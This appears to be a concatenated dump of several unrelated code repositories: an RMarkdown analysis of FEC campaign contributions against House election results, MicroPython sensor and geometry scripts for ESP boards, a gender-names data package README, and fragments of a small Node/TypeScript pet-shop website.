party_contribution$cand_state[party_contribution$cand_state== "WA"] <- "washington"
party_contribution$cand_state[party_contribution$cand_state== "WI"] <- "wisconsin"
party_contribution$cand_state[party_contribution$cand_state== "WV"] <- "west virginia"
party_contribution$cand_state[party_contribution$cand_state== "WY"] <- "wyoming"
```
```{r, message=FALSE, warning=FALSE, echo=FALSE}
#mutating the minimum contribution to the party for the break
min_contri <- party_contribution %>%
group_by(cand_party_affiliation) %>%
summarise(mini = min(contri_party))
#mutating the maximum contribution to the party for the break
max_contri <- party_contribution %>%
group_by(cand_party_affiliation) %>%
summarise(maxi = max(contri_party))
#mutating the middle contribution to the party for the break
mid_contri <- inner_join(min_contri,max_contri) %>%
mutate(midd = (mini + maxi)/2)
#joining the data
party_contribution <- inner_join(party_contribution, mid_contri)
```
```{r, message=FALSE, warning=FALSE, echo=FALSE}
# create a map showing total contribution for each party
#mapping DEM's contribution
dem <- party_contribution %>% filter(cand_party_affiliation == "DEM")
dem_mapping <- ggplot(dem, aes(map_id = cand_state)) +
# map points to the fifty_states shape data
geom_map(aes(fill = contri_party), map = fifty_states) +
expand_limits(x = fifty_states$long, y = fifty_states$lat) +
coord_map() +
scale_x_continuous(breaks = NULL) +
scale_y_continuous(breaks = NULL) +
labs(x = "", y = "", title = "Total Contribution to Democratic Party") +
theme(legend.position = "bottom",
panel.background = element_blank(), plot.title = element_text(face = "bold")) +
labs(fill = "Amount of Contribution") +
scale_fill_continuous (breaks = c(4000, 215000000, 429046963), labels = c("4k","215000K", "490000K"), low = "#B0E2FF", high = "#607B8B")
#mapping REP's contribution
rep <- party_contribution %>% filter(cand_party_affiliation == "REP")
rep_mapping <- ggplot(rep, aes(map_id = cand_state)) +
# map points to the fifty_states shape data
geom_map(aes(fill = contri_party), map = fifty_states) +
expand_limits(x = fifty_states$long, y = fifty_states$lat) +
coord_map() +
scale_x_continuous(breaks = NULL) +
scale_y_continuous(breaks = NULL) +
labs(x = "", y = "", title = "Total Contribution to Republican Party") +
theme(legend.position = "bottom",
panel.background = element_blank(), plot.title = element_text(face = "bold")) +
labs(fill = "Amount of Contribution") +
scale_fill_continuous (breaks = c(1050, 99700000, 199441933), labels = c("1K", "99700K", "19944K"), low = "#B0E2FF", high = "#607B8B")
```
# Contribution to Each Parties
```{r, message=FALSE, warning=FALSE, echo=FALSE}
# dem_mapping
# rep_mapping
# mapping the amount of contribution to Republican and Democratic
grid.arrange(dem_mapping, rep_mapping, nrow = 1)
```
# Looking at Elected Rate for Republican and Democrate per State
```{r, message=FALSE, warning=FALSE, echo=FALSE, fig.width = 8, fig.height= 20}
# making a list which contains "R", "D"
target <- c("R", "D")
# computing the ratio of being elected
rate_rep_dem <- house_elections %>%
filter(party %in% target) %>%
group_by(state, party) %>%
summarise(rate_winner = sum(winner)/n() * 100)
#function for generating the elected rate for republican and democratic
R_n_D <- function(name_arg) {
RD_party <- rate_rep_dem %>%
filter(state == name_arg)
ggplot(RD_party, aes(x = party, y = rate_winner)) +
geom_bar(stat = "identity") +
labs( x = "Party", y = "Ratio of Winner", title = name_arg) +
theme(plot.title = element_text(face = "bold"))
}
#use lapply to generate bar graphs that shows the elected rate for Republican and Democratic for each 50 states
RD_plots <- lapply(fifty_states_name, R_n_D)
# RD_plots
# arranging the plots
do.call("grid.arrange", c(RD_plots, ncol=5))
```
```{r, message=FALSE, warning=FALSE, echo=FALSE}
# the person who received the most contribution in MA for Republican party
rep_guy <- candi_conti %>%
filter(cand_state == "MA") %>%
group_by(cand_name) %>%
summarise(money = sum(transaction_amt)) %>%
arrange(desc(money))
# who contributed most to <NAME>
rep_contri_guy <- candi_conti %>%
filter(cand_state == "MA" & cand_party_affiliation =="REP" & cand_id == "P80003353") %>%
group_by(name)%>%
summarise(amt_contri = sum(transaction_amt)) %>%
arrange(desc(amt_contri))
# the person who received the most contribution in MA for Democratic
dem_guy <- candi_conti %>%
filter(cand_state == "IL") %>%
group_by(cand_name) %>%
summarise(money = sum(transaction_amt)) %>%
arrange(desc(money))
# who contributed most to <NAME>
dem_contri_guy <- candi_conti %>%
filter(cand_state == "IL" & cand_party_affiliation =="DEM" & cand_id == "P80003338") %>%
group_by(name)%>%
summarise(amt_contri = sum(transaction_amt)) %>%
arrange(desc(amt_contri))
```
```{r, message=FALSE, warning=FALSE, echo=FALSE}
# Computing the sum of the contribution for each candidate
sum_contributions <- contributions %>%
group_by(cand_id) %>%
summarise(contribution = sum (transaction_amt))
lm_candi <- inner_join (house_elections, sum_contributions)
model1 <- lm(general_votes ~ contribution, lm_candi)
# model1
# creating a scatter plot to see a relationship between contribution and general votes
ggplot(lm_candi, aes (x = contribution, y = general_votes)) + geom_point() + geom_smooth(method = "lm", se = 0,color = "cadetblue1")
summary(model1)
```
We are using the candidates, committees, and contributions data frames from the Federal Election Commision data files from 2011-2012. From these data frames, we understand the candidates information such as their group and whether they are elected or not, and also the contribution information such as how much contribution was being made to which candidate by which contributor. We are interested to see within each states, among democratic and republican party, which receives more financial contribution, while also count the amount of elected candidate from each party within different states. In this way, we intend to see whether money is a crucial indicator of the number of candidates getting elected for each party.
<br>
First, we created maps for the total sum of contribution received by each candidate of the two respective parties. We mapped the amount of money as color saturation, while also showing the location of the contribution being received. On a larger scale, we expect to get a sense of which party is getting more financial support, and also the geographical information of where the money is relatively more concentrated. Following up, we created a side-by-side-bar plot to show the number of candidates being elected in each state. From these plots, combined with the maps we created earlier, we were curious about, whether the amount of money being raised is a more critical factor for the party to get its candidate elected, rather than the states’ own political leaning.
<br>
By checking the side-by-side bar plots, we can confirm that most states with a strong political leaning elected candidates in alignment with their political view. A closer look at the maps reveals two outliers, Illinois in the “Total contribution to Democratic Party” and Massachusetts in “Total contribution to Republican Party”, which are getting the most contribution of all states. This observation makes sense, since these two states had the two most popular presidential candidates.
<br>
We also created a scatter plot, mapping the general votes to the y-axis, and the amount of contribution to the x-axis. As we can see there is a moderate positive linear relationship between these two variables, therefore the amount of money raised by individual candidates is still an essential factor in the election process. However, there are also quite a few outliers after x= 2*10^6, so we are assuming once the contribution exceeds a certain amount, it does not have as big of an effect on acquiring votes.
https://github.com/stellali0311/sds192-mp2.git [^1]
[^1]: Github link for our project
|
3a2c172a3e39d2aab3313a502f8807d17280a1ca
|
[
"RMarkdown"
] | 2 |
RMarkdown
|
stellali0311/sds192-mp2
|
e3a0231a7ecb6c8bde84fd8d9835538bf55e64fc
|
c22e2190f19d2480af6ade484079cd0e2dc1c6f3
|
refs/heads/master
|
<repo_name>teamWSIZ/micropython_basic<file_sep>/scratch/angles.py
from math import pi, cos, acos
for i in range(2000):
alpha = pi * i / 1000
v_cos = cos(alpha)
v_alpha = acos(v_cos)
print(f'{alpha:.3f} vs {v_alpha:.3f}')<file_sep>/_docu/pycharm_integration.md
## micropython plugin
- can upload files (1 by 1)
- can access (REPL) console
- has _some_ syntax highlighting
but:
- not all basic syntax supported (more runs on ESP's than is visible in the editor)
- https://github.com/vlasovskikh/intellij-micropython/issues/102
<file_sep>/performance/perf.ino
int counter = 0;
void setup() {
// put your setup code here, to run once:
Serial.begin(115200);
}
void loop() {
counter += 1;
if (counter % 140000 == 0) { //140k on ESP8266
Serial.println("tick");
counter = 0;
}
// delay(1);
}<file_sep>/scratch/test.py
x = 0x76
print(x)<file_sep>/gyro/gyro_L3G4200D/main.py
import uasyncio as asyncio
from machine import Pin, I2C
# https://github.com/peterhinch/micropython-async/blob/master/v3/as_demos/apoll.py
GY = 0x69
REG1 = 0x20
REG4 = 0x23
STATUS_REG = 0x27
OUT_X_L = 0x28
OUT_X_H = 0x29
OUT_Y_L = 0x2A
OUT_Y_H = 0x2B
OUT_Z_L = 0x2C
OUT_Z_H = 0x2D
def nconv(l, h):
if h & 0x80:
hh = (h ^ 0xFF) & 0x7F
ll = (l ^ 0xFF) + 1
return - ((hh << 8) + ll)
else:
return (h << 8) + l
def get_status(status_reg_val):
measurement_ready = not ((status_reg_val >> 3) & 1 == 0) # reading too fast
data_overwritten = ((status_reg_val >> 7) & 1 == 1) # reading too slow
return measurement_ready, data_overwritten
def select_bandwidth_and_scale(i2c):
# Bandwidth and data-rate selection
# 0x6F = 0b01101111
# DR = 01 (200 Hz ODR); BW = 10 (50 Hz bandwidth); PD = 1 (parallel_component mode)
# DR = 00 (100 Hz ODR); BW = 10 (50 Hz bandwidth); PD = 1 (parallel_component mode)
# Zen = Yen = Xen = 1 (all axes enabled)
i2c.writeto_mem(GY, REG1, bytes([0b00101111])) # 00 10 1 111
# Scale selection
# 0x00 = 0b00000000
# FS = 00 (+/- 250 dps full scale); (FS1,FS0) at bits (5,4) of (76543210)
# FS = (00,01,10,11) -> (250,500,1000,2000) deg/s
# BLE is at bit 6
# 0b(7BFF3210) B=BLE, F=FS
i2c.writeto_mem(GY, REG4, bytes([0b00000000]))
def read_rotations(i2c):
g = [0] * 3
data0 = i2c.readfrom_mem(GY, OUT_X_L, 1) # so: little endian encoding
data1 = i2c.readfrom_mem(GY, OUT_X_H, 1)
g[0] = nconv(data0[0], data1[0])
data0 = i2c.readfrom_mem(GY, OUT_Y_L, 1)
data1 = i2c.readfrom_mem(GY, OUT_Y_H, 1)
g[1] = nconv(data0[0], data1[0])
data0 = i2c.readfrom_mem(GY, OUT_Z_L, 1)
data1 = i2c.readfrom_mem(GY, OUT_Z_H, 1)
g[2] = nconv(data0[0], data1[0])
return g
async def update_rotation():
i2c = I2C(scl=Pin(22), sda=Pin(21))
select_bandwidth_and_scale(i2c)
# memory layout for rotation values
scale = 32767 / 250 # = 131.072
# scale = 114.285 # ??? this scale is used?
# (x,y,z) == (roll,pitch,yaw)
cnt_ready = 1
cnt_overw = 1
epoch = 1
MPS = 150
calibration_epoch = MPS * 5
calibrated = False
drift = [0] * 3
angle = [0] * 3
while True:
try:
status_reg_val = i2c.readfrom_mem(GY, STATUS_REG, 1)[0]
ready, overw = get_status(status_reg_val)
if ready:
cnt_ready += 1 # todo: if !ready: continue
if overw:
cnt_overw += 1
g = read_rotations(i2c)
omega = [v / scale for v in g]
# yaw += omega[2] / MPS - drift
for i in range(3):
angle[i] += omega[i] / MPS - drift[i]
# subtract the drift along all axes
if not calibrated and epoch > calibration_epoch:
drift = [a / epoch for a in angle] # compute drifts in all axes
angle = [0] * 3
print('******* calibrated; drift=', drift)
calibrated = True
if epoch % MPS == 0:
print('ready:', cnt_ready, 'overwritten:', cnt_overw)
for i in range(3):
print('a', i, '=', angle[i])
epoch += 1
except:
print('err')
await asyncio.sleep(1 / MPS)
async def basic_task():
print('starting performance task')
await asyncio.sleep(1)
print('ending performance task')
async def main(delay):
asyncio.run(update_rotation()) # run until complete
await asyncio.sleep(delay)
asyncio.run(main(20))
<file_sep>/gyro/geometry_tests.py
import unittest
from math import pi
from gyro.geometry import *
class TestSum(unittest.TestCase):
def lists_almost_equal(self, list1, list2, digits):
for (r, l) in zip(list1, list2):
self.assertAlmostEqual(r, l, digits)
def test_1(self):
self.assertAlmostEqual(norm([1, 0, 0]), 1)
def test_2(self):
self.assertAlmostEqual(norm([1, 0, 1]), 1.4142, 3)
def test_3(self):
self.lists_almost_equal(normalized([5, 0, 0]), [1, 0, 0], 3)
def test_4(self):
self.lists_almost_equal(parallel_component([1, 1, 2], [0, 0, 1]), [0, 0, 2], 3)
def test_5(self):
self.lists_almost_equal(perpendicular_component([1, 1, 2], [0, 0, 1]), [1, 1, 0], 3)
def test_pitch_zero(self):
self.assertAlmostEqual(pitch_angle([1, 1, 0], [0, 0, 1]), 0, 3)
def test_pitch_pi4(self):
self.assertAlmostEqual(pitch_angle([0, 1, 1], [0, 0, 1]), pi / 4, 3)
def test_pitch_minus_pi4(self):
self.assertAlmostEqual(pitch_angle([0, 1, -1], [0, 0, 1]), -pi / 4, 3)
def test_yaw_pi_4(self):
self.assertAlmostEqual(yaw_angle([1, 1, 0], [0, 0, 1], [1, 0, 0]), pi / 4, 3)
def test_yaw_pi_2(self):
self.assertAlmostEqual(yaw_angle([0, 1, 0], [0, 0, 1], [1, 0, 0]), pi / 2, 3)
def test_yaw_pi(self):
self.assertAlmostEqual(yaw_angle([-0.9999, 0, 0], [0, 0, 1], [1, 0, 0]), pi, 3)
def test_yaw_minus_pi_2(self):
self.assertAlmostEqual(yaw_angle([-0.00001, -1, 0], [0, 0, 1], [1, 0, 0]), -pi / 2, 3)
def test_yaw_minus_pi(self):
self.assertAlmostEqual(yaw_angle([-0.99999, -0.0001, 0], [0, 0, 1], [1, 0, 0]), -pi, 3)
def test_yaw_rotate_pi2(self):
v = [1, 0, 0]
a = [0, 0, pi / 2]
w = rotate_vector(v, a, 1000)
self.lists_almost_equal(w, [0, 1, 0], 2)
def test_yaw_rotate_2pi(self):
v = [1, 0, 0]
a = [0, 0, pi * 2]
w = rotate_vector(v, a, 4000)
self.lists_almost_equal(w, [1, 0, 0], 2)
def test_roll_along_unchanged(self):
v = [1, 0, 0]
a = [pi / 2, 0, 0]
w = rotate_vector(v, a, 4000)
self.lists_almost_equal(w, [1, 0, 0], 2)
def test_roll_y_pi4(self):
# x y→z
v = [0, 1, 0]
a = [pi / 4, 0, 0]
w = rotate_vector(v, a, 4000)
expected_w = normalized([0, 1, 1])
self.lists_almost_equal(w, expected_w, 2)
def test_pitch_x_pi4(self):
v = [1, 0, 0]
a = [0, pi / 4, 0]
print(get_small_rotation_matrix([0.01, 0, 0]))
w = rotate_vector(v, a, 4000)
expected_w = normalized([1, 0, -1])
# print_v(w)
# print_v(expected_w)
self.lists_almost_equal(w, expected_w, 2)
def test_roll_pitch_unroll(self):
basis = [[1, 0, 0], [0, 1, 0], [0, 0, 1]] # fuselage=x; right_wing=y
# roll 90 degrees "right"
angle_l = [pi / 2, 0, 0]
angle_g = rotation_vector_local_to_absolute(basis, angle_l)
basis = rotate_basis(basis, angle_g, 10000)
# pull up by 90 degrees (pitch up)
angle_l = [0, pi / 2, 0]
angle_g = rotation_vector_local_to_absolute(basis, angle_l)
basis = rotate_basis(basis, angle_g, 10000)
# roll back ("left") by -90 degrees
angle_l = [-pi / 2, 0, 0]
angle_g = rotation_vector_local_to_absolute(basis, angle_l)
basis = rotate_basis(basis, angle_g, 10000)
self.lists_almost_equal(basis[0], [0, 1, 0], 2)
self.lists_almost_equal(basis[1], [-1, 0, 0], 2)
# print_v(basis[0])
# print_v(basis[1])
def test_pitch_roll_pitch(self):
basis = [[1, 0, 0], [0, 1, 0], [0, 0, 1]] # fuselage=x; right_wing=y
# pitch "up" 90deg
angle_l = [0, pi / 2, 0]
angle_g = rotation_vector_local_to_absolute(basis, angle_l)
basis = rotate_basis(basis, angle_g, 10000)
# roll "left" 90deg
angle_l = [-pi / 2, 0, 0]
angle_g = rotation_vector_local_to_absolute(basis, angle_l)
basis = rotate_basis(basis, angle_g, 10000)
# pitch "up" 90deg
angle_l = [0, pi / 2, 0]
angle_g = rotation_vector_local_to_absolute(basis, angle_l)
basis = rotate_basis(basis, angle_g, 10000)
#result: "upside down"; fuselage along (-y), right wing along (-x)
self.lists_almost_equal(basis[0], [0, -1, 0], 2)
self.lists_almost_equal(basis[1], [-1, 0, 0], 2)
# print_v(basis[0])
# print_v(basis[1])
if __name__ == '__main__':
unittest.main()
<file_sep>/scratch/byte_arrays.py
import struct
z = 0b1101001 # one byte, =105
print(z) # normalny int
print(hex(z)) # 0x69
print(bin(z)) # 0b1101001
# for larger ints -- combining into a signle one can be tricky
# ba = b'\x00\x01'
# iba = int.from_bytes(ba, 'big')
# print(ba)
# print(iba) # 1
# iba = int.from_bytes(ba, 'little')
# print(iba) # 256
# creating a byte array:
intlist = [1, 15]
print(bytes(intlist)) # b'\x01\x0f'
<file_sep>/scratch/b.py
# x = 0x28 #hex literal
# print(x)
# z = 0b1101001 # binary literal
# print(hex(z))
import sys
d = (1 << 7)
print(bin(d))
# print(0x69)
# print(sys.byteorder) 'little'
<file_sep>/scratch/async_garbage.py
import uasyncio as asyncio
from machine import Pin, I2C
import asi2c
import ujson
#todo: way to access I2C devices via async
i2c = I2C(scl=Pin(0),sda=Pin(2)) # software I2C
syn = Pin(5)
ack = Pin(4)
chan = asi2c.Responder(i2c, syn, ack)
async def receiver():
sreader = asyncio.StreamReader(chan)
while True:
res = await sreader.readline()
print('Received', ujson.loads(res))
async def sender():
swriter = asyncio.StreamWriter(chan, {})
txdata = [0, 0]
while True:
await swriter.awrite(''.join((ujson.dumps(txdata), '\n')))
txdata[1] += 1
await asyncio.sleep_ms(1500)
loop = asyncio.get_event_loop()
loop.create_task(receiver())
loop.create_task(sender())
loop.run_forever()<file_sep>/gyro/geometry.py
from copy import copy, deepcopy
from math import sqrt, atan, acos, pi
from typing import List
"""
Prosty pakiet funkcji do geometrii.
Działa na 2D, 3D etc.
"""
def norm(vec) -> float:
"""
:return: Length of `vec`
"""
return sqrt(sum([a ** 2 for a in vec]))
def normalized(vec: List[float]) -> List[float]:
"""
:return: Copy of `vec` normalized to 1.
"""
n = norm(vec)
g = [x / n for x in vec]
return g
def scalar_product(vec_x, vec_y) -> float:
return sum([a * b for (a, b) in zip(vec_x, vec_y)])
def vector_product_3d(a, b) -> List[float]:
return [a[1] * b[2] - a[2] * b[1], a[2] * b[0] - a[0] * b[2], a[0] * b[1] - a[1] * b[0]]
def parallel_component(vec, axis) -> List[float]:
"""
:return: The part of `vec` which is parallel to `axis`
"""
n_axis = normalized(axis)
scalar = scalar_product(vec, n_axis)
return [a * scalar for a in n_axis]
def perpendicular_component(vec, axis) -> List[float]:
"""
:return: The part of `vec` which is perpendicular to `axis`
"""
n_v = parallel_component(vec, axis)
return [vv - nn for (vv, nn) in zip(vec, n_v)]
def pitch_angle(vec, up_axis) -> float:
up = norm(parallel_component(vec, up_axis))
if scalar_product(vec, up_axis) < 0:
up = -up
in_plane = norm(perpendicular_component(vec, up_axis))
in_plane += 0.001 # avoid zero
return atan(up / in_plane)
def yaw_angle(vec, up_axis, north_axis) -> float:
"""
:param up_axis: select plane of measurement
:param north_axis: yaw = 0; assumed normalized, perpendicular to up_axis
:return: angle in (-pi,pi)
"""
vec = normalized(perpendicular_component(vec, up_axis)) # take in-plane component only
alpha = acos(scalar_product(vec, north_axis))
w_axis = vector_product_3d(up_axis, north_axis) # west
if scalar_product(vec, w_axis) < 0:
alpha = -alpha
return alpha
def get_small_rotation_matrix(angle: List[float]) -> List[List[float]]:
"""
:return: Rotation matrix for small angles; R vec_x = vec'_x (slightly rotated)
Note: generators are selected so that positive-angle rotations act as follows:
* z-axis rotation (yaw) changes (x->y ...)
* x-axis rotation (roll) changes (y->z ...)
* y-axis rotation (pitch) changes (z->x ...)
https://www.physik.uni-bielefeld.de/~borghini/Teaching/Symmetries/12_15.pdf, page 72
"""
r = [[1., 0, 0], [0, 1, 0], [0, 0, 1]]
r[0][1] = -angle[2]
r[1][0] = angle[2]
r[1][2] = -angle[0]
r[2][1] = angle[0]
r[0][2] = angle[1]
r[2][0] = -angle[1]
return r
def rotate_vector(vec: List[float], angle: List[float], steps) -> List[float]:
r = get_small_rotation_matrix([a / steps for a in angle])
v = copy(vec)
for i in range(steps):
v = matrix_on_vector(r, v)
return v
def rotate_basis_small_angle(basis, angle):
r = get_small_rotation_matrix(angle)
v_nx = matrix_on_vector(r, basis[0])
v_ny = matrix_on_vector(r, basis[1])
v_nz = matrix_on_vector(r, basis[2])
# new_basis = [normalized(v_nx), normalized(v_ny), normalized(v_nz)]
new_basis = [v_nx, v_ny, v_nz]
return new_basis
def rotate_basis(basis, angle, steps):
nbasis = deepcopy(basis)
for i in range(steps):
nbasis = rotate_basis_small_angle(nbasis, [a / steps for a in angle])
return nbasis
def rotation_vector_local_to_absolute(basis, angle):
"""
:param basis: (x,y,z) local basis vectors expressed in XYZ (global) basis
:param angle: (ax,ay,az): local rotations
:return: angle as expressed in global basis
"""
res_angle = [0] * 3
for i in range(3):
for b in range(3):
res_angle[i] += angle[b] * basis[b][i]
return res_angle
def matrix_on_vector(matrix, vector) -> List[float]:
n = len(vector)
res = [0] * n
for r in range(n):
s = 0
for c in range(n):
s += matrix[r][c] * vector[c]
res[r] = s
return res
def matrix_multiply(m1, m2):
"""
Matrices assumed sqare.
"""
n = len(m1[0])
res = [[0] * n] * n
for r in range(n):
for c in range(n):
for k in range(n):
res[r][c] += m1[r][k] * m2[k][c]
return res
def print_v(vec):
out: str = '('
for v in vec:
out += f'{v:.4f}, '
out = out[:-2] + ')'
print(out)
if __name__ == '__main__':
basis = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
basis = rotate_basis(basis, [0, 0, pi / 2], 10000) # x->y, y->(-x)
for v in basis:
print_v(v)
omega = [0.05, 0, 0] # rotation around local x by 0.05 should be global rotation around y by 0.05
omega_g = rotation_vector_local_to_absolute(basis, omega)
print_v(omega_g)
<file_sep>/1_podstawy/main.py
import uasyncio as asyncio
from machine import Pin
async def drive_local_led():
led = Pin(2, Pin.OUT)
on = True
while True:
if on:
led.off()
else:
led.on()
on = not on
await asyncio.sleep(0.5)
async def fast_tics_to_console():
while True:
await asyncio.sleep(0.05)
print('tick')
async def main():
print('Zaczynamy pracę...')
asyncio.create_task(fast_tics_to_console()) # just a task
asyncio.run(drive_local_led()) # run until complete
asyncio.run(main())
<file_sep>/scratch/aa.py
def bbin(x, len=16):
return bin(x)[2:].zfill(len)
def zbin(x, n):
r = ''
for i in range(n):
r = str(x % 2) + r
x >>= 1
return r
def conv(l, h):
if not h & 0x80:
return h << 8 | l # is positive
else:
return -((h ^ 255) << 8) | (l ^ 255) + 1
def nconv(l, h):
if h & 0x80:
hh = (h ^ 0xFF) & 0x7F
ll = (l ^ 0xFF) + 1
return - ((hh << 8) + ll)
else:
return (h << 8) + l
# 100dps
l = 0xA4
h = 0x2C
# 200dps
l = 0x49
h = 0x59
x = (h << 8) + l
# print(bbin(h<<8))
# print(bbin(l))
# print(bbin(x))
# print(x / 131)
# high 200dps
print(bbin(0x59, 8))
print(bbin(0xA6, 8))
print(bbin((0xA6 ^ 0xFF), 8)) # conversion to absolute
print('--')
# low 200dps
print(bbin(0x49, 8))
print(bbin(0xb7, 8))
print(bbin((0xb7 ^ 0xff) + 1, 8)) # conversion to absolute
print('---total---')
val_pos = (0x59 << 8) + 0x49
val_neg = (((0xA6 ^ 0xFF) & 0x7F) << 8) + (0xB7 ^ 0xFF + 1)
print(val_pos)
print(val_neg)
print('---conv')
print(conv(0x49, 0x59))
print(conv(0xB7, 0xA6))
print('---nconv')
print(nconv(0x49, 0x59))
print(nconv(0xB7, 0xA6))
scale = 131.068
scale = 114.285 # ??? this scale is used?
omega = nconv(0x49, 0x59) / scale
print(omega)
<file_sep>/_docu/boards.md
### Pin meaning & functions
https://randomnerdtutorials.com/esp8266-pinout-reference-gpios/
https://randomnerdtutorials.com/esp32-pinout-reference-gpios/
<file_sep>/scratch/a.py
def combine_to_int(h, l):
# clreate large integer from provided high-byte and low-byte
res = h * 256 + l
if res > 32767:
res -= 65536
return res
def conv(l, h):
print(bin(h))
print(bin(l))
if not h & 0x80:
print('positive')
return h << 8 | l
else:
print('negative')
return -((h ^ 255) << 8) | (l ^ 255) + 1
x = conv(0xa4, 0x2c) #100dps?
x = conv(0x5c, 0xc4)
print(x / 131.072) # must be -100dps
<file_sep>/performance/tt.py
def do_it(arg):
print(arg)<file_sep>/temp_ds18b20/main.py
import utime
from machine import Pin
import machine, onewire, ds18x20, time
# https://randomnerdtutorials.com/micropython-ds18b20-esp32-esp8266/
import uasyncio as asyncio
import utime as time
# https://github.com/peterhinch/micropython-async/blob/master/v3/as_demos/apoll.py
def sens_id(barray):
# generate 0--1007 sensor id hash; should be unique, and readable
w = [_ for _ in barray]
res = 1
modulo = 1007
for _ in w:
res = (res * _) % modulo + 37
return res % modulo
async def temp_update():
ds_pin = machine.Pin(4)
ds_sensor = ds18x20.DS18X20(onewire.OneWire(ds_pin))
roms = ds_sensor.scan()
print('Found DS devices (thermometers): ')
for r in roms:
print('sensor:', sens_id(r))
while True:
ds_sensor.convert_temp()
await asyncio.sleep(1.0)
for rom in roms:
temp = ds_sensor.read_temp(rom)
sensor_id = sens_id(rom)
print('sensor', sensor_id, ' ', temp)
await asyncio.sleep(5)
async def main(delay):
print('Test runs for 20s.')
asyncio.run(temp_update()) # run until complete
await asyncio.sleep(delay)
asyncio.run(main(20))
<file_sep>/baro/baro_bmp280/main.py
import uasyncio as asyncio
from machine import Pin, I2C
from bmp280 import BMP280
async def update_pressure():
i2c = I2C(scl=Pin(22), sda=Pin(21))
bmp = BMP280(i2c)
print(bmp.temperature)
print(bmp.pressure)
last10 = []
epoch = 0
while True:
# print('temp=', bmp.temperature)
baro = bmp.pressure
last10.append(baro)
if len(last10) > 10:
last10 = last10[1:]
suma = sum(last10)
if epoch % 100 == 0:
print('baro_avg=', suma / 10)
print('temp=', bmp.temperature)
epoch += 1
await asyncio.sleep(0.1)
async def main():
# asyncio.create_task(temp_update()) # just a task
asyncio.run(update_pressure()) # run until complete
asyncio.run(main())
<file_sep>/scratch/x.py
x = 0b001
y = 0b111 ^ x
mx = (x ^ 0xff) + 1
print(mx ^ 0x80)
<file_sep>/performance/main.py
from machine import Pin
import utime
def main():
led = Pin(2, Pin.OUT)
counter = 0
on = True
while True:
counter += 1
if counter % 25000 == 0: # CPU benchmark value: 8266->25k, ESP32->120k
if on:
led.off()
# utime.sleep_ms(500)
else:
led.on()
print(counter)
on = not on
# must be temp_update.py
if __name__ == '__main__':
main()
<file_sep>/scratch/tt.pyi
def do_it(arg): ...
|
8cf2b6200a6c4868c208ea009fbb2a88fe5dd0e6
|
[
"Markdown",
"C++",
"Python"
] | 20 |
Markdown
|
teamWSIZ/micropython_basic
|
132b1ef84b723d0da3094ef093078fd046df9ed5
|
9302931cc93ff52e9ce2a92973ba4b2a45eae55d
|
refs/heads/master
|
<file_sep>**MOVED**: The official version of this package is now available at [ropensci/genderdata](https://github.com/ropensci/genderdata). This version remains here to support older versions of the [gender](https://github.com/ropensci/gender) package.
# Gender Data
This package contains several data sets of use for historians and social
scientists studying gender. These data sets were compiled in this
package for use with the [gender][] package for predicting gender from
first names.
The raw data sets used in this package are available here:
- [<NAME>'s name corpus][]
- [Social Security Administration's baby names by year and state][]
- [Social Security Administration's baby names by year][]
- [IPUMS Census data][]
See also <NAME>'s [babynames][] package.
## Install
Install it from GitHub with
`devtools::install_github("lmullen/gender-data-pkg")`.
[gender]: https://github.com/ropensci/gender
[<NAME>antrowitz's name corpus]: http://www.cs.cmu.edu/afs/cs/project/ai-repository/ai/areas/nlp/corpora/names/0.html
[Social Security Administration's baby names by year and state]: http://catalog.data.gov/dataset/baby-names-from-social-security-card-applications-data-by-state-and-district-of-
[Social Security Administration's baby names by year]: http://catalog.data.gov/dataset/baby-names-from-social-security-card-applications-national-level-data
[IPUMS Census data]: https://usa.ipums.org/
[babynames]: https://github.com/hadley/babynames
|
51e81959f16dc7893e53f45e3eb0a945b81f2e0c
|
[
"Markdown"
] | 1 |
Markdown
|
diegoforteza/gender-data-pkg
|
16e2ba97a8c3b83c81eb0ca591087e8aeb946c12
|
b12cd4d32371b300b057c3a3881ac1bf5319a1e1
|
refs/heads/master
|
<file_sep>
var knex = require('knex')({
client: 'pg',
connection: {
host: '127.0.0.1',
port: 5432,
user: 'dbuser',
password: '<PASSWORD>',
database: 'petscribe_test',
charset: 'utf8'
}
});
var bookshelf = require('bookshelf')(knex);
export = bookshelf;<file_sep>extends layout
block content-scripts
block content
div()
div(id="contacts" class="container-fluid")
div(class="row")
div(class="col-md-2")
div(class="col-md-8" ng-controller='ContactsController')
div(class="row")
div(class="col-md-12")
div(class="Header")
div(class="Header_Content")
h1= title
div(class="row")
div(class="col-md-12")
div(class="Horizontal_Space")
div(class="row")
div(class="col-md-12")
h2 Facebook:
p
a(class="btn btn-danger" href="https://www.facebook.com/pages/Petscribe/521695567979960?sk=info") Petscribe
div(class="row")
div(class="col-md-12")
h2 Email:
p
a(class="btn btn-danger" href="#" ng-click='showAddress()') {{email}}
div(class="col-md-2")
div(class="container-fluid")
div(class="row")
div(class="col-md-12")
div(class="Horizontal_Space")<file_sep>import express = require('express');
import db = require('../db');
import Product = require("public/js/models/product");
var router = express.Router();
var Products = db.Model.extend({ tableName: "products" });
/* GET api */
router.get('/products', function (req, res) {
var a = function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result.rows);
}
}
var items = new Products().fetch().then(
function (rows) {
a(null, rows);
}).catch(function (err) {
console.error(err);
a(err, []);
});
});
export = router;<file_sep># Petscribe
<file_sep>
/// <reference path="../../node_modules/definitely-typed-angular/angular.d.ts" />
/// <reference path="../../node_modules/definitely-typed-angular/angular-resource.d.ts" />
/// <reference path="../../node_modules/definitely-typed-angular/angular-route.d.ts" /> <file_sep>extends layout
block content-scripts
block content
div(ng-controller='ProductsController')
div(id="shopfront" class="container-fluid")
div(class="row")
div(class="col-md-2")
div(class="col-md-8")
div(class="row")
div(class="col-md-12")
div(class="Header")
div(class="Header_Content")
h1= title
div(class="row")
div(class="col-md-12")
div(class="Horizontal_Space")
div(class="row")
div(class="col-md-12")
h2 Products:
div(class="Product")
div(class="Product_Content")
div(class="col-md-12")
div(class="Product_Button" ng-repeat='p in products.available' ng-class='{row : $index % 2 === 1}')
div(class="col-md-6")
button(class="btn btn-block btn-primary" ng-class='{"btn-success" : p.id === products.selected}' ng-click='products.selected = p.id') {{p.name}}
div(class="col-md-2")
div(class="container-fluid")
div(class="row")
div(class="col-md-12")
div(class="Horizontal_Space")
div(id="calculator" class="container-fluid")
div(class="row")
div(class="col-md-12")
div(class="Horizontal_Space")
div(class="row")
div(class="col-md-2")
div(class="col-md-8")
div(class="row")
div(class="col-md-12")
h2 Quantity:
div(class="Product")
div(class="Product_Content")
div(class="col-md-12")
div(class="row")
div(class="col-md-4")
